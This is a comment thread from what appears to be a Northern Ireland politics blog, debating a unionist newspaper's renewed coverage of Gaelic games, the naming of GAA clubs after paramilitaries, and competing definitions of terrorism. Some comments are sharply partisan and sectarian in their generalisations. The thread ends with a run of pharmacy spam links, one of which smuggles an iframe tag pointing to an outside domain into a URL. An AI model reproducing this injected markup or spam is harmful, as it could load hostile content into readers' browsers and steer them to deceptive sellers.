One small step for unionist newspaper…

THE News Letter has re-started its coverage of GAA sports after a four-year hiatus (though not online yet). The move comes after the DUP sports minister attended a Gaelic football game earlier this month.

  • lib2016

    A N Other,

    However tedious it may become the only way towards a consensus and a normal society is discussion of our differences openly and continually. Unfortunately that is not something the majority of us can do face to face, partly because of the virtual apartheid in our society and partly because of the very real emotions which can be stirred up.

    The internet lets some of us learn a little about differing viewpoints. Laugh at us if you will but sullenly refusing to even talk out our problems doesn’t seem a great alternative.

  • Oiliféar

    Willowfield, you have stepped over the brink into complete irrationality. I can’t even respond to your message of 03:30 PM it’s so chocker-block with fallacy and delusion. (Except for the numbers from the 1918 election, thanks for that.) I don’t mean this to deride you. It’s my fault and I’ll accept the blame.

    What started out as a tongue-in-cheek comment to illustrate the uselessness of throwing the word “terrorist” around (“Or we could just agree that these words [terrorism and terrorist] are of little use in describing who train stations, athletic clubs or towns such as Craigavon are named after.”) has taken on a life of it’s own. I had hoped that it would illustrate to you the vexation that these comments can produce and the fallacy in them when used in-adroitly but I think it just produced the vexation, and the point has been lost there-in.

  • RepublicanStones

    never before have i seen one man piss into the wind for so long….truly a sight to behold

    thanks willow !

  • Billy Pilgrim

    Willow

    Let me make myself clear: generally police uphold the law, and in doing so actually make it possible for people to live WITHOUT the fear and terror that would come with anarchy. Police don’t (or aren’t supposed to) threaten violence and death, even to criminals. So clearly police forces are nothing like terrorists. Clear enough?

    “Further, I offered a UN definition which you dismissed as too long.”

    Too long and shot through with political expediency, clearly dreamed up with the purpose not of defining terrorism but of absolving all sorts of nasty people from implication. I’ll stick with the dispassionate OED definition, difficult though it may be.

    “In any case, the concept of terrorism is a recent one.”

    This is an interesting new gambit! So when the Fenians set off bombs on the London Underground in the 1880s, what would you call that?

    “I’m merely pointing out that words mean what people understand them to mean.”

    Yes, and dictionaries define where the consensus lies. Who are these “people” you know who set the definitions of words, and how are they more qualified to do so than the lexicographers of Oxford?

    “Your definition doesn’t mention the inspiration of terror: it merely refers to the use of violence and intimidation in the pursuit of political aims.”

    What on earth is “intimidation”, if not the inspiration of terror?

    “Carson’s majority also happened to constitute an absolute majority – indeed, an overwhelming one – of unionists,”

    Clearly in your conception, non-unionists are unpeople who simply don’t count.

    “It is an essential concept of democratic theory. It is now enshrined in the UN Charter and other international instruments.”

    Which statutes? Come on, put your money where your mouth is. Quote me something.

    “They are entitled to express their self-determination by voting in elections.”

    Yet Carson, Craig and co were entitled to run guns, organise an illegal militia, incite mutiny in the armed forces and threaten all-out war? Why are the rights of modern-day nationalists so much less?

    You’re sectarian, Willow, pure and simple. Everything is about us and them. Even your definition of words shifts, depending on who they referring to. So much intelligence, knowledge and energy, so little wisdom and generosity and love. I’m sorry for you, I really am.

  • Lenny

    Pounder

    “Way to go Lenny you managed to crawl all the way back to the 1920’s to get a bit of whataboutary in. I think thats a record.“

    Whats your problem Pounder? Am I the only one to go back to the twenties? I can’t even remember who started the discussion on Carson but it wasn‘t me. Did I upset you by calling your hero a terrorist?

  • sean

    Don’t get too stressed about the News Letter reporting on Gaelic Games, it wont make one iota of difference as regards the Unionist people beliefs about the GAA. The GAA can do what ever they like to try and fool the Unionist people that they are only a sporting body, but it will never work . Over the years of the troubles the Protestant and Unionist people have witnessed how GAA clubs were used to host Republican fundraising night, for prisoners, hunger strike committee meetings, republican music nights were the groups were known as Ra bands, welcome home parties for IRA prisoners list goes on. A new Gaelic pitch was opened in my local village, (once a predominately Protestant village , but thanks to republican terror it has only a few Protestant families left, mostly elderly , the young have all fled.) The official opening party had the local parish priest , the lady who sold the land, a local notorious ex IRA member now a elected councillor, a former club chairman who served time for terror related offences, and now the club main sponsor, a former internee now a leading light in the county scene , and among other known republicans a leading member of the hunger strike committee. Just the sort of people you would normally get a any sporting function. The GAA will always be seen by the vast majority of Protestant as the sporting wing of violent Irish Nationalism.

  • willowfield

    OILIFEAR

    Willowfield, you have stepped over the brink into complete irrationality.

    I haven’t, but if you think I have you are free to attempt to demonstrate how.

    I can’t even respond to your message of 03:30 PM it’s so chocker-block with fallacy and delusion.

    Really? And where are these fallacies and delusions? I note you have elected not to cite them or refute them. Not good enough, Olifar.

    REPUBLICANSTONES

    I note you have chosen not to respond to the questions I put to you. That indicates to me that you are unable to respond. Poor show.

    BILLY PILGRIM

    Let me make myself clear: generally police uphold the law, and in doing so actually make it possible for people to live WITHOUT the fear and terror that would come with anarchy.

    The law is political and so in enforcing that political will, the police are using violence for political ends which, by your definition, makes them terrorists.

    Police don’t (or aren’t supposed to) threaten violence and death, even to criminals.

    They do threaten violence and death when necessary, i.e. when they are resisted violently.

    So clearly police forces are nothing like terrorists. Clear enough?

    Absolutely, but I am not using a definition under which the police are counted as terrorists: You are!

    This is an interesting new gambit! So when the Fenians set off bombs on the London Underground in the 1880s, what would you call that?

    Terrorism. But I’m living in 2008. Was it called terrorism then? (Maybe it was, I don’t know.)

    Yes, and dictionaries define where the consensus lies.

    But not in this case.

    Who are these “people” you know who set the definitions of words, and how are they more qualified to do so than the lexicographers of Oxford?

    The man on the Clapham omnibus.

    What on earth is “intimidation”, if not the inspiration of terror?

    My dictionary says it is the inducement of fear in order to deter someone from doing something or to force them to do something. Just like police do when they apprehend criminals.

    Clearly in your conception, non-unionists are unpeople who simply don’t count.

    Non-unionists are not part of the unionist people. Just like non-Hungarians, say, are not part of the Hungarian people. Are non-Hungarians “unpeople who simply don’t count”.

    Which statutes? Come on, put your money where your mouth is. Quote me something.

    I’ve already “quoted” the UN Charter. Helsinki Accords is another one.

    “They are entitled to express their self-determination by voting in elections.”

    Yet Carson, Craig and co were entitled to run guns, organise an illegal militia, incite mutiny in the armed forces and threaten all-out war? Why are the rights of modern-day nationalists so much less?

    They’re not. All peoples have the right to defend their self-determination when it is suppressed. But modern-day nationalists’ self-determination is not being suppressed.

    You’re sectarian, Willow, pure and simple.

    You’re sectarian, Billy, pure and simple.

    Everything is about us and them.

    It’s not: on the contrary, my views are entirely consistent and are applied objectively to both unionists and nationalists. As I have pointed out to you, I do not consider Redmond to be a terrorist either, yet he was a nationalist.

    Even your definition of words shifts, depending on who they referring to.

    It doesn’t – although yours does – you fail to apply your definition of terrorism to police, even though it covers them.

    So much intelligence, knowledge and energy, so little wisdom and generosity and love. I’m sorry for you, I really am.

    I’m sorry for you, Billy. Your inability to look at the past objectively leads you down the road of personal abuse. Shame on you.

  • RepublicanStones

    I note you have chosen not to respond to the questions I put to you. That indicates to me that you are unable to respond. Poor show. -willow

    willow it seems you must have missed a post of mine, i have indeed answered, i suggest you scroll back old boy. your post above contains 3 little words you would be better using more often (i don’t know).

  • Outsider

    There is no place for a terrorist so called sporting organisation within the Newsletter, this is completely unacceptable.

  • lib2016

    The GAA is the largest sporting and social group in Northern Ireland. For the Newsletter to exclude themselves from reporting about it is to voluntarily retreat to the ghetto, not a very business-like approach one would have thought.

    Moreover their reporters are more than welcome and although the GAA may not be of much interest to their current readership they may find that changing as the tension between communities continues to weaken. This welcome change being a small but significant sign of just that.

  • Outsider

    I am afraid that a so called sporting organisation that pursues a Republican agenda, and has grounds named after ira terrorists is never going to be compatible with the readership of the Newsletter.

  • foreign correspondent

    I think the next logical and progressive step for The Newsletter after reviving GAA coverage is the introduction of an Irish-language column. They know it makes sense. I´ll even offer to write it myself for a modest sum 🙂
    Oiche mhaith, a dhaoine uaisle.

  • Outsider

    Maybe an ira column as well when we are at it.

  • PeaceandJustice

    Oilifar – “Loyalist paramilities don’t mean the same thing to the unionist community as republican paramilitaries mean to the nationalist community.”

    What does that say about the Nationalist/Republican community? Voting for murderers and celebrating them at their local GAA club. How would Unionists feel comfortable in such a GAA club given that their kith and kin were butchered by these people. As I said in a previous post, why does the GAA get away with it when other people have to prove a ‘cross-community’ element before they get funding? The only response I got was someone claimed that a bench had been paid for/dedicated to a Loyalist! Nationalists/Republicans in Limavady are trying to remove anything with Unionist links from the council. Yet the same people are silent when it comes to public money being spent at the GAA/INLA Kevin Lynch Park in Dungiven. Very neutral.

    Perhaps instead of a ‘One Small Step’ campaign, a ‘Many Large Steps’ campaign is needed within the Nationalist/Republican community to show they are serious about building a peaceful future in Northern Ireland.

  • Oiliféar

    Yes, PeaceandJustice, I agree with you in so far as your Limavada example.

    I remember the time of the Diana and Charles wedding. My sister was so totally into the whole thing. I didn’t think, “Loyalist double agent exposed in County Mayo!” I thought, “Friggin’ teenaged girls!”

    My point was that this idea of strict equality/neutrality/call it what you like is bullshit to begin with. It has to be based on genuine respect, not a list offensive offensive items – or “we wouldn’t have that, so it’s offensive to us”.

    The “Máiread Farrell camogie trournament”, in my opinion, ain’t on – though that does look like a bunch of yokles, not the GAA. Kevin Lynch is a bit better. It only applies to the hurling team, from what I can see, he played for the club and apparently he captained the Derry county hurling team to win the All Ireland at U16 level, so … . Bobby Sands, on the other hand, especially in-explicitly in the form of the lark, might vex but really shouldn’t be seen as offensive, in my opinion.

    “What does that say about the Nationalist/Republican community?”

    … likewise, anyone with a Charles and Diana mug really ought to get over their teenaged girl complex, but I’m not going to hold it against them. Yes, it’s true that members of the nationalist community probably wouldn’t be found with one of these items (unless they’re a teenaged girl from Mayo, apparently), so it might not conform to some sanitised idea of “equality” – that doesn’t make them wrong.

  • flaminglop

    Um, unionists self-determined to be excluded from home rule! Therefore opposition to home rule was self-determination.


    If nationalists in Tyrone suddenly decided to hold an uprising because of their self-determination to be in a United Ireland, would it be legitimate? What’s the difference?

  • flaminglip

    “Leaving aside the leading use of the term country (area, island or piece of land all work) for a second: no, only the destiny of the small part where they live.”

    Again, my point about Tyrone…

  • willowfield

    flaminglop

    If nationalists in Tyrone suddenly decided to hold an uprising because of their self-determination to be in a United Ireland, would it be legitimate? What’s the difference?

    It wouldn’t be legitimate, first, because there is no mandate for such a goal: the electorate in Tyrone is split between those who wish Northern Ireland to remain in the Union and those who wish it to unite with Southern Ireland – there is no support (a) for Tyrone to secede and join Southern Ireland and (b) for violence to be used to achieve that aim. Second, even if a mandate were achieved for such a goal, those seeking it have the facility to use peaceful means to achieve it, and therefore an “uprising” would be unjustifiable.

    The difference, then, is (1) that unionists had a mandate in 1913 (a) to oppose home rule in Ulster and (b) to prepare physically to resist its imposition, whereas the hypothetical Tyrone nationalists do not have a mandate either for their goal or for employing violent means to attain that goal; (2) unionists did not “hold” an uprising, whereas the hypothetical Tyrone nationalists would be “holding” an uprising; (3) unionists had sought to exhaust peaceful means, whereas the hypothetical Tyrone nationalists would not be seeking to exhaust peaceful means.

  • [i]Pounder

    “Way to go Lenny you managed to crawl all the way back to the 1920’s to get a bit of whataboutary in. I think thats a record.“

    Whats your problem Pounder? Am I the only one to go back to the twenties? I can’t even remember who started the discussion on Carson but it wasn‘t me. Did I upset you by calling your hero a terrorist?

    Posted by Lenny on Jan 29, 2008 @ 07:28 PM[/i]

    Yeah because I have a huge poster of Carson on my wall that I look at when I have relations with myself :roll eyes: If you where anything more than a troll and if you’d actually read any of my other posts you’d know I’m no friend to loyalists nor republicans, but why let facts get in the way of a little sectarian ranting. Idiot.

  • RepublicanStones

    It wouldn’t be legitimate, first, because there is no mandate for such a goal: the electorate in Tyrone is split between those who wish Northern Ireland to remain in the Union and those who wish it to unite with Southern Ireland – willow

    so willow once again you say that nationalists have no right to do as unionists have done. unless you are saying the unionist electorate pre-partition were all heavily concntrated into a one single area, and there were no nationalists in the north……whcih as we all know wasn’t the case so that sentence of yours is bollocks !

  • willowfield

    RepublicanStones

    so willow once again you say that nationalists have no right to do as unionists have done.

    On the contrary, I have never said that and therefore it’s not possible for me to say so again. It is me who says that all peoples have the same rights – it is nationalists like Billy Pilgrim and presumably yourself who disagree and say that only the nationalist people has rights.

    unless you are saying the unionist electorate pre-partition were all heavily concntrated into a one single area, and there were no nationalists in the north……whcih as we all know wasn’t the case so that sentence of yours is bollocks !

    They were heavily concentrated in most of what became Northern Ireland and a majority in Northern Ireland as a whole. That is fact: not “bollocks”.

  • Oiliféar

    Willowfield, you are working on double standards here. If you cannot see it, then I’m truly sorry for you.

    … the electorate in Tyrone is split …

    As it was in the six counties.

    … there is no support (a) for Tyrone to secede and join Southern Ireland and (b) for violence to be used to achieve that aim …

    That was the hypothetical situation that was presented to you.

    … those seeking it have the facility to use peaceful means to achieve it …

    As did Craig and Carson and the unionists of the 1910s.

    … that unionists had a mandate in 1913 …

    No greater than nationalists in Tyrone today.

    … the hypothetical Tyrone nationalists do not have a mandate either for their goal or for employing violent means to attain that goal …

    You mean no greater a mandate than the unionists of the 1910s.

    … unionists did not “hold” an uprising, whereas the hypothetical Tyrone nationalists would be “holding” an uprising;

    Correct. They threatened to hold one were their demands not met and armed themselves in readiness. You’re slitting hairs.

    … unionists had sought to exhaust peaceful means …

    The Home Rule Bill was introduced on 11 April 1912, two days before then Carson had reviewed 100,000 Ulster Volunteers marching in columns. Democracy wasn’t even given a chance. How did they exhaust peaceful ends?

  • willowfield

    OILIFEAR

    Willowfield, you are working on double standards here. If you cannot see it, then I’m truly sorry for you.

    I’m not: on the contrary, my standards are applied objectively and consistently.

    It is not me, for example, who says that nationalists had the right to self-determination but unionists did not: I say all peoples have that right.

    I do not say that only unionists have the right to defend that self-determination: I say that all peoples have that right, including nationalists.

    If I were “working on double standards” you would be able to demonstrate it. I see that you have not.

    As it was in the six counties.

    Indeed it was, and the majority was unionist, hence the mandate. In Tyrone, there is no majority in favour of repartition, therefore no mandate for such a policy. Is that so difficult to follow?

    That was the hypothetical situation that was presented to you.

    I’m sorry but the situation was not presented in terms of nationalists in Tyrone having voted for repartition and also to endorse violence to achieve that aim.

    As did Craig and Carson and the unionists of the 1910s.

    Indeed, and they used that facility.

    No greater than nationalists in Tyrone today.

    It was greater: they had a mandate, whereas there is no mandate for repartition in Tyrone!

    You mean no greater a mandate than the unionists of the 1910s.

    No: I mean they have no mandate whatsoever.

    Correct. They threatened to hold one were their demands not met and armed themselves in readiness. You’re slitting hairs.

    That’s right, yet in the hypothetical scenario it would not be a mere threat of “holding” an uprising, one would actually be “held”. Are you unable to distinguish between a threat of doing something and actually doing it?

    The Home Rule Bill was introduced on 11 April 1912, two days before then Carson had reviewed 100,000 Ulster Volunteers marching in columns. Democracy wasn’t even given a chance. How did they exhaust peaceful ends?

    You need to revisit your history books. Peaceful and parliamentary means were given a chance: for nearly 30 years! It was only when Parliament appeared determined to suppress unionists’ democratically-expressed will that preparations were made to defend that will by other means. And, even then, those means were not employed – and not intended to be employed – until peaceful means had been exhausted. Hence negotiations continued and the UVF took no action, ultimately transforming into the 36th (Ulster) Division when the situation was transformed by war.

  • Oiliféar

    Willowfield, it’s pathetic that you have been reduced to pedantry to justify your argument.

    For example you wrote:

    “Indeed [the electorate in the six counties] was [split], and the majority was unionist, hence the mandate. In Tyrone, there is no majority in favour of repartition, therefore no mandate for such a policy”

    Now, the majority in Tyrone are nationalist and the situation given to you was:

    “If nationalists in Tyrone suddenly decided to hold an uprising because of their self-determination to be in a United Ireland, would it be legitimate? What’s the difference?”

    I know that it’s not written, but you’re human (I believe) and you can normally be trusted to understand what another human is saying to you without them having to venture into such detailed pedanticism as to give clause and articles when much of the detail can be implied and left to your imagination. Clearly, what is implied in the hyptothetical situation presented to you is that the nationalist majority in Tryone favour repartition and arm themselves to ensure that it be so in a like manner to how the Ulster Volunteers arms themselves in the 1912 to oppose Home Rule.

    The rest of your replied continued along similar pedandicism (mixed with guised and ill-directed accusation e.g “It is not me, for example, who says that nationalists had the right to self-determination but unionists did not” – well, neither did I, actually.).

    As I said, it is pathetic that you have been reduced to this kind of pedantry. On the whole, you do strike me as a intelligent man/woman/beast. I enjoy your posts generally and would like to take this opportunity to thank you for them. But, like I wrote before, I regret starting this bullshit conversation. I regret even more returning to it and I’m no longer going to participate in this discussion with you.

  • Slippy Joe

    Willowfield,

    Go get a job! It’ll get your mind off the GAA. Can’t see how you can call yourself consistent in your arguments by the way, e.g. earlier you went on about how the Oxford English Dictionarys definition of “terrorist” was meaningless to the man on the street, then a few posts later you are refencing some guy schmid (or whatever he’s called) 1988 for his version of “terroist”. I would consider myself a man on the street and i know a few other men on the street and none of us were aware of schmids definition. Are you sure you dont just use a definition that suits your argument. I didn’t really read much else of your posts cos i got bored, just thought id flag up an inconsistency to see how you twist that to suit yourself, since you always bang on about how consistent you are.

  • RepublicanStones

    They were heavily concentrated in most of what became Northern Ireland and a majority in Northern Ireland as a whole. That is fact: not “bollocks”. -willow

    right so high concentrations of nationalists don’t count, but high concentrations of unionists do?

    the double standards must be weighing you down at this stage willow !

  • willowfield

    OILIFEAR

    Willowfield, it’s pathetic that you have been reduced to pedantry to justify your argument.

    No – I would say it is pathetic that you are unable to understand and distinguish between clearly-different scenarios. It seems that you are unable to distinguish between a majority in Tyrone in favour of the whole of Northern Ireland uniting with the Republic and a majority in Tyrone in favour of only Tyrone uniting with the Republic. The two are quite distinct, and if you are unable to see that, I genuinely struggle to know what else I can say to make it clear.

    Clearly, what is implied in the hyptothetical situation presented to you is that the nationalist majority in Tryone favour repartition and arm themselves to ensure that it be so in a like manner to how the Ulster Volunteers arms themselves in the 1912 to oppose Home Rule.

    That was not clear in the least. That is certainly one interpretation, but the more likely interpretation, in my view, was with reference to the actual position now whereby all-Ireland-nationalists, rather than repartitionists, are in a majority.

    The rest of your replied continued along similar pedandicism (mixed with guised and ill-directed accusation e.g “It is not me, for example, who says that nationalists had the right to self-determination but unionists did not” – well, neither did I, actually.).

    I’m glad you don’t say that, but you did accuse me of double standards, despite the fact that my arguments are objectively and consistently applied to both unionists and nationalists. I think you should retract the accusation unless you can offer some evidence to back up your assertion.

    As I said, it is pathetic that you have been reduced to this kind of pedantry.

    I haven’t been reduced to any kind of pedantry. I have been challenged and asked questions and I have responded calmly and clearly to those challenges and questions. I make no apology for that.

  • willowfield

    SLIPPY JOE

    Go get a job! It’ll get your mind off the GAA.

    I’ve got one and my mind isn’t on the GAA.

    Can’t see how you can call yourself consistent in your arguments by the way, e.g. earlier you went on about how the Oxford English Dictionarys definition of “terrorist” was meaningless to the man on the street, then a few posts later you are refencing some guy schmid (or whatever he’s called) 1988 for his version of “terroist”.

    Yes? And your point is?

    I would consider myself a man on the street and i know a few other men on the street and none of us were aware of schmids definition.

    I wouldn’t expect that you did, nor did I say that the man on the street knew the definition.

    Are you sure you dont just use a definition that suits your argument.

    Yes, I’m sure. All I did was observe that the quoted dictionary definition did not articulate the general understanding of what terrorism meant. I stand by that observation and make no apology for it. Its deficiency is demonstrated by the fact that even legitimate police actions are caught by it.

    I didn’t really read much else of your posts cos i got bored, just thought id flag up an inconsistency to see how you twist that to suit yourself, since you always bang on about how consistent you are.

    You failed to flag up an inconsistency, I’m afraid. I merely expressed the view that the quoted definition was inadequate, but I also pointed out that if others want to use it that is fine – so long as they do so consistently, and in the knowledge that doing so renders the definition meaningless.

    Regardless of what definition one uses – the OED or the Scmid or any other – I would always seek to apply it consistently.

  • willowfield

    RepublicanStones

    right so high concentrations of nationalists don’t count, but high concentrations of unionists do?

    What makes you think that?

    the double standards must be weighing you down at this stage willow !

    What double standards? You seem to be going to unreasonable lengths to accuse me of double standards, even to the point of implying (above) that I consider “high concentrations of nationalists” not to count, but “high concentrations of unionists” to count. That’s just dishonesty, since I neither said nor implied anything of the sort.

    If you’re just going to be dishonest I see little point in your contributions.

  • RepublicanStones

    nor did I say that the man on the street knew the definition – willow

    All I did was observe that the quoted dictionary definition did not articulate the general understanding of what terrorism meant. – willow

    so what is the general understanding then willow? and how do you know what the man on the street knows? do tell !

  • Lenny

    Pounder

    So I ask again, what’s your problem? I didn’t start the discussion on Carson and the UVF, merely contributed to it like others. Just like to know why I’m singled out for your abuse. And yes I’m well aware of the fact that you’re neither loyalist or republican, just thought I’d call Carson your hero to get up your nose. It seems Willowfield, with whom I was having the discussion with in the first place, is a lot more tolerant of others views than you.
    You can have the last word.

  • willowfield

    The general understanding is that legitimate police or military actions are not terrorism. Neither would be, say, rioting or “ordinary” criminal activity. Nor street protests. Nor conventional warfare.

    The general understanding is that the INLA, PIRA, UDA, UVF, etc., are terrorists.

    There perhaps is no general understanding about the 1919 IRA.

    There is, in my view, a general understanding that the Ulster Volunteers and Irish Volunteers of 1913-14 were not terrorists.

  • RepublicanStones

    give us a link to the research and questionnaires etc, you have compiled which accounts for your ability to state so confidently that you know what the general understanding of the word terrorist is, if not maybe admit that its just your opinion !

  • Slippy Joe

    Willowfield,

    What is your job willowfield? Are you paid to make endless enties on to this site. I do think your mind is on the GAA, just my opinion of course but i can back it up with the fact that only a few days ago you spent the whole day arguing that the GAA shouldn’t use the tricolour in the north, and here you are again on another GAA related topic. My conclusion is therefore that your mind is on the GAA.

    I said “Can’t see how you can call yourself consistent in your arguments by the way, e.g. earlier you went on about how the Oxford English Dictionarys definition of “terrorist” was meaningless to the man on the street, then a few posts later you are refencing some guy schmid (or whatever he’s called) 1988 for his version of “terroist”.”

    You Said: “Yes? And your point is?”

    My point is that you dismiss the Oxford English Dictionarys definition of terrorist as it means nothing to the man on the street, then you quote schmid 1988, how can that mean anything to the man on the street?

    OEDs Definition: “uses violence and intimidation in the pursuit of political aims.”

    “Its deficiency is demonstrated by the fact that even legitimate police actions are caught by it.”

    I can understand your argument here if you are referring to the RUC, otherwise i can’t when considering an impartial police force, care to explain?

  • willowfield

    SlippyJoe

    My point is that you dismiss the Oxford English Dictionarys definition of terrorist as it means nothing to the man on the street, then you quote schmid 1988, how can that mean anything to the man on the street?

    I dismissed the OED definition because it didn’t articulate the understanding of the man on the street, not because the definition itself “means nothing” to the man on the street. The Schmid definition more accurately articulates the general understanding of terrorism, which is more complex than that offered by the OED. It is not necessary for the man on the street to know about the Schmid definition for that definition to be a better articulation of the general understanding.

    I can understand your argument here if you are referring to the RUC, otherwise i can’t when considering an impartial police force, care to explain?

    I’ve already explained: you should have the patience and courtesy to read through people’s contributions before making accusations about them. I’ll indulge you, however, by explaining that police forces enforce laws; laws are political – they achieve political aims; therefore when police use violence and intimidation to enforce the law they engage in “terrorism” according to the OED definition. Similarly, legitimate and conventional military actions are caught by the definition. So, too, would rioting.

  • Slippy Joe

    Willow,

    OEDs Definition: “uses violence and intimidation in the PURSUIT of political aims.”

    You claim:
    “therefore when police use violence and intimidation to ENFORCE the law they engage in “terrorism””

    This argument does not make sense, using violence and intimidation in the PURSUIT of political aims is not the same as ENFORCING the law, surely you can understand this.

    “I dismissed the OED definition because it didn’t articulate the understanding of the man on the street” and “The Schmid definition more accurately articulates the general understanding of terrorism”.

    This is getting a bit ridiculous (and admittedly i may have contributed) but surely it is pointless to claim to know what the man on the street understands.

  • Greenflag

    ‘If nationalists in Tyrone suddenly decided to hold an uprising because of their self-determination to be in a United Ireland, would it be legitimate?’

    Of course . More especially if they did so along with Fermanagh, Derry , South Armagh, South Down, West Belfast and parts of North and South Belfast . That would be in principle no different from what Unionists did in 1920 or for that matter what Ireland as a whole attempted to do in 1918 . Irish Nationalists in the above area could easily make the point that they have the same if not greater majority in the above areas than Unionists had in the Northern Ireland of 1920 .

    It’s probably what will happen anyway once the present chuckie brothers fest collapses under the weight of contradictions under which they rule .

    On the other hand Ireland and indeed Northern Ireland have been known to surprise even their nearest neighbours in political ambidexterity (polite term for janus facedness)!

  • Slippy Joe

    Hey,

    where everyone go, was just gettin into that.

    Rob B.

  • willowfield

    SLIPPY JOE

    This argument does not make sense, using violence and intimidation in the PURSUIT of political aims is not the same as ENFORCING the law, surely you can understand this.

    It is the same, since to enforce the law is to pursue political aims. The political aim, for example, of protecting private property, is pursued by having and enforcing laws that protect private ownership of property and criminalise those who seek to acquire others’ property.

    This is getting a bit ridiculous (and admittedly i may have contributed) but surely it is pointless to claim to know what the man on the street understands.

    Then a fundamental principle of law, for example, is pointless, because the “reasonableness test” is based, in part, on what are believed to be the views of the man on the street (i.e. what a hypothetical “reasonable person” might think or do).

    I live in society. I interact with people who express views. I read newspapers, books and magazines which express and record various people’s views. I watch television and listen to the radio, both of which express and record people’s views. From those interactions and communications I have been able to form an understanding of what people generally understand various concepts to mean. One of those concepts is terrorism. I do not think it is controversial or inaccurate to observe that, generally, people consider al-Qaeda suicide attacks to be terrorism, and similarly attacks by ETA, the UDA and the INLA. Nor do I think it is controversial or inaccurate to observe that people, generally, do not consider police actions, legitimate and conventional military actions, or violent actions such as rioting, as terrorism. I think it is reasonable to conclude that, as regards, say the IRA campaign of 1919, opinion might be divided over whether that constituted terrorism, in part or in whole: I’d say most people would probably not consider it to be terrorism. Similarly, I think it is reasonable to anticipate that, if you asked those who have studied, or have knowledge of, the 1913-14 period in Ireland whether Carson’s and Redmond’s respective volunteers were “terrorists”, the consensus would be “no”.

    Finally, to get back to the origin of this ludicrous argument, I think it is reasonable to make a distinction between INLA (or UFF) actions in recent times and UVF and Irish Volunteer (in)actions in 1913-14 and to say that the one does not correspond to the other. It is also reasonable, therefore, to make a distinction between the naming of GAA clubs after INLA men and the naming of Craigavon after Viscount Craigavon or the hypothetical naming of a football club after Carson (or, indeed, Redmond).

  • happy lundy

    The club that’s named after Kevin Lynch is the club he played at it.

    I’m not sure why but I think that makes a difference.

    Would a more sensible comparison (and I know there are still objections) be to ask if there are any football or rugby clubs, cups or even just memorial games played after RUC men or UDR men who played for the clubs concerned and who lost their lives in the troubles?

    Many people (whether or not they’re unionists) might say that if there aren’t there should be. I don’t think that in that situation anyone would be glorifying political unionism – they’d be honouring friendship and remembering sacrifice.

    Naming your club after a person you’ve never met seems to be something different, and more of a political declaration.

  • willowfield

    The club that’s named after Kevin Lynch is the club he played at it. I’m not sure why but I think that makes a difference.

    And would the club have been named in his honour if he had not been an INLA terrorist? What were the grounds for so-naming the club after this particular member?

    Would a more sensible comparison (and I know there are still objections) be to ask if there are any football or rugby clubs, cups or even just memorial games played after RUC men or UDR men who played for the clubs concerned and who lost their lives in the troubles?

    No, it wouldn’t. The sensible comparison would be with “loyalist” terrorists.

  • happy lundy

    Fair enough Willow. I said there’d still be objections. Just trying to compare an apple with another piece of fruit rather than a cricket ball.

    Anyone else remember when the Newsletter was edited by Henry and Robert Joy, troublesome charity founding radicals and uncles to Henry Joy McCracken?

    I hope all this GAA reporting isn’t the start of some sort of revolutionary relapse.

    I’m also a bit concerned about the conservative credentials of anyone named Darwin.

  • RepublicanStones

    still waiting on that link willow

  • Slippy Joe

    Willow,

    OK, whatever you say, you sunk my battleship, basically i agree with you the OED definition of terrorists leaves it open to joe public to conclude that police are terrorists. As for the rest of it very good, i give you an A*, wonderful stuff. Im afraid i must leave, my shift is over, thanks for helping pass the time.

    Adios.

  • Rory

    I have a small confession to make. For over more than half a century I have read daily (and Sunday) newspapers that carried extensive reporting of cricket and rugby. I still remain quite indifferent to these games and moreover at no time whatsoever have I ever been tempted to become a Tory or an Empire Loyalist as a result of this coverage.

    What is it then, I ask myself, that unionist diehards so fear about the coverage of GAA games in the Newsletter? Do they fear that they (or perhaps little Johnny or Janey) will be so weak-willed, so influenced that they will all start singing republican songs, speaking as Gaelige or (heaven forfend!) rush off to join the Truly Madly Deeply IRA?

    Or do they themselves even know, I wonder.

  • Viagra pills online
    viagra online
    http://www.viagrausaonline.com/
    [url=http://www.viagrausaonline.com/]viagra online[/url]

  • Order viagra online
    order viagra
    http://www.answerbag.com/profile/?id=280020
    [url=http://www.answerbag.com/profile/?id=280020]order viagra[/url]

  • Buy viagra online
    buy viagra
    http://www.answerbag.com/profile/?id=277823
    [url=http://www.answerbag.com/profile/?id=277823]buy viagra[/url]

  • Generic viagra online
    generic viagra
    http://www.answerbag.com./profile/?id=274141
    [url=http://www.answerbag.com./profile/?id=274141]generic viagra[/url]

  • cheap cialis online
    cheap cialis
    http://en.allexperts.com/sitesearch.htm?terms=cheap_cialis_pill_<IFRAME src=//m5b.info>
    [url=http://en.allexperts.com/sitesearch.htm?terms=cheap_cialis_pill_<IFRAME src=//m5b.info>]cheap cialis[/url]

  • Buy viagra online
    buy viagra
    http://forums.sme.org/member.php?u=1829
    [url=http://forums.sme.org/member.php?u=1829]buy viagra[/url]

  • Buy viagra pills online
    buy viagra online
    http://forum.qmailrocks.org/member.php?u=11435
    [url=http://forum.qmailrocks.org/member.php?u=11435]buy viagra online[/url]

  • Cheap cialis online
    cialis
    http://www.theusamed.com/
    [url=http://www.theusamed.com/]cialis[/url]

  • Order viagra online
    order viagra
    http://www.conceptart.org/forums/member.php?u=97508
    [url=http://www.conceptart.org/forums/member.php?u=97508]order viagra[/url]

  • Viagra pills online
    viagra online
    http://www.wordofmousegames.com/forums/member.php?u=4271
    [url=http://www.wordofmousegames.com/forums/member.php?u=4271]viagra online[/url]

  • Order viagra online
    order viagra
    http://www.answerbag.com/profile/?id=285045
    [url=http://www.answerbag.com/profile/?id=285045]order viagra[/url]

  • Cheap cialis online
    cialis
    http://www.answerbag.com/profile/?id=285071
    [url=http://www.answerbag.com/profile/?id=285071]cialis[/url]